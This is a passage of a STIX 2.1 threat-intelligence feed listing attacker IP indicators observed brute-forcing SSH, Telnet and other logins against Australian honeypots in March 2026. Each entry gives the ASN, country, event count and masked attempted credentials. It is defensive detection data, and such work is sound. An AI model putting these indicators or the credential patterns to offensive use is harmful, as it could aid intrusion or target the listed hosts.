      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: MY. ASN(s): 9930. Organisation(s): TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al.",
      "id": "indicator--5f487c3a-8ee3-47e4-a7b9-322987fe02ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.121.106.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8b682139-8801-4f27-8da2-8eb525ef3908",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--adf7fc8c-a43d-41f3-a7c2-f0ed58d72dea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.152.36.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--c654ca3c-4bbf-4081-85e4-907c5478768b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.111.128.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--be2b5242-91c2-4bb5-80bc-bf274103116c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): n**e, ***, s****a, v*******r. Passwords observed (masked): n**e, ***, s****a, v*******r.",
      "id": "indicator--f9908bd6-09c4-42ee-98f4-b6acb999d01d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cbb29e0b-ef7a-46fe-a00f-b209db7508a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.19.32.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): !******r.",
      "id": "indicator--7fa60cda-f0f2-42f7-b8d8-066504cc3e1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.210.2.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--f23758e2-b784-4e96-be47-9def1c17d31b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.236.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:15:13.000Z",
      "valid_until": "2026-04-02T01:15:11.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, @*******8, A******1, P***********5.",
      "id": "indicator--c9d3124e-6819-4780-9851-88254e01a354",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.116.246.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 199. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !********t, 1***@, 1**********4.",
      "id": "indicator--35c20f2e-0435-4d08-be51-d9b5634e682f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.187.147.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38750. Organisation(s): Telemedia Dinamika Sarana, PT.",
      "id": "indicator--50ef11ec-eb56-4862-b702-528db24dd24d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.213.116.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): r**t. Passwords observed (masked): 2**3, A********5, Q********5, q*****!.",
      "id": "indicator--57e82115-ad0c-4575-a924-7435922c7970",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.48.192.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--4f6580bc-8597-4cc1-8ac3-8f0c46e88091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.150.119.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Heralding. Target ports: 1080. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): r**t, a***n, *, ***, 1***5. Passwords observed (masked): *, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--364910b6-a5da-4b1a-a2a4-b56aa0a1c649",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.12.182.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, a***n, p******d.",
      "id": "indicator--fe1d55c9-4e5e-403f-a458-dc9053c36554",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.26.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Usernames observed (masked): g***t. Passwords observed (masked): , 1**4, p**s.",
      "id": "indicator--245563b2-b937-4a67-a941-e39a5a65ea3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263025. Organisation(s): ISPTEC Sistemas de Comunicacao Eireli. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******d, 1**********F, 3***********4, 3**********4, P*********!.",
      "id": "indicator--13f81a2f-1d80-4c66-98e7-ae6ec5c55e80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.10.201.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******a, 1******c, 3***********4, 3**********4, A********0.",
      "id": "indicator--c71f20af-896e-419d-ba38-214082112be5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.130.248.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC. Usernames observed (masked): f**1. Passwords observed (masked): f**1.",
      "id": "indicator--9e96235e-911f-42f4-a5d4-9394d55a71ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.43.139.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 12353. Organisation(s): Vodafone Portugal - Communicacoes Pessoais S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, @********4, H*********9, T*******@.",
      "id": "indicator--6d069e54-2426-4e55-9dc4-e097cfd8b532",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.37.194.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 12252. Organisation(s): America Movil Peru S.A.C.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !********t, 1***@, 1**********4.",
      "id": "indicator--1ad3408c-cca4-4a99-9410-722c58299f45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.119.198.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 52000. Organisation(s): MIRhosting B.V.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******d, 3***********4, 3**********4, P***********0, Q******#.",
      "id": "indicator--abb26494-86bf-4505-9517-6002f7c4f031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.147.115.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited.",
      "id": "indicator--d156ff9e-13a5-463f-891b-c7f95638d4fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.31.223.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !********t, 1***@, 1**********4.",
      "id": "indicator--aa70558c-b1ee-4dbe-80a3-ae5d0c8352bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.184.50.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134420. Organisation(s): Chongqing Telecom.",
      "id": "indicator--263db80f-e24e-4251-b6a3-0eb0c3eeb355",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '219.151.181.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132116. Organisation(s): Ani Network Pvt Ltd.",
      "id": "indicator--3abd22cb-f976-4ff5-9d7d-85f3cc49558b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.123.241.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 43513. Organisation(s): Sia Nano IT. Usernames observed (masked): f**1. Passwords observed (masked): f**1.",
      "id": "indicator--620c6895-3969-4e68-909b-e2df4612c60a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.170.22.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Heralding. Target ports: 5900. Source country: RU. ASN(s): 51547. Organisation(s): LLC Telekonika. Passwords observed (masked): 1******8, 1******r, 0**0, 0***0, 0****0.",
      "id": "indicator--5ff1e57a-62bc-4aab-9b0a-45de14ed9b45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.76.100.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net. Usernames observed (masked): a***n. Passwords observed (masked): p******d.",
      "id": "indicator--a337b78e-7767-446a-8fe2-229983b1c5b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !******r, 1*******d, 3***********4, 3**********4, Q******#.",
      "id": "indicator--1c014d4f-4b1c-48c8-b290-d99128761348",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '86.54.42.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !********t, 1***@, 1**********4.",
      "id": "indicator--133683d9-f0cf-4e6a-81b5-38fe3dee0f32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '88.18.209.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--bab889e8-aaa6-4783-91ac-ea98f37fe212",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--cb4e3e77-97a1-4f3e-8835-cdf3919754c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:15:14.000Z",
      "valid_until": "2026-04-02T02:15:12.000Z"
    },
    {
      "created": "2026-03-01T02:15:14.000Z",
